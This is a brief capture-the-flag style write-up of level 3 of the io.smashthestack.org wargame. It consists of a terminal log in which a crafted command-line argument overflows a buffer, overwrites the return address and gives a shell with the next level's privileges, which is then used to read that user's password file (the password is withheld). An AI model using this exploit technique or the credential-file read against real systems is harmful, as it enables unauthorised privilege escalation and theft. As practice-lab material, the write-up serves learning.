IO Level 3

Level 3 of io.smashthestack.org:

level3@io:/levels$ ./level03 `python -c 'print "A" * 80'`
This is exciting we're going to 0x41414141
Segmentation fault
level3@io:/levels$ ./level03 `python -c 'print "A" * 76 + "\x74\x84\x04\x08"'`
This is exciting we're going to 0x8048474
Win.
sh-4.1$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1004(level4),1003(level3),1029(nosu)
sh-4.1$ cat /home/level4/.pass

shhh don't snitch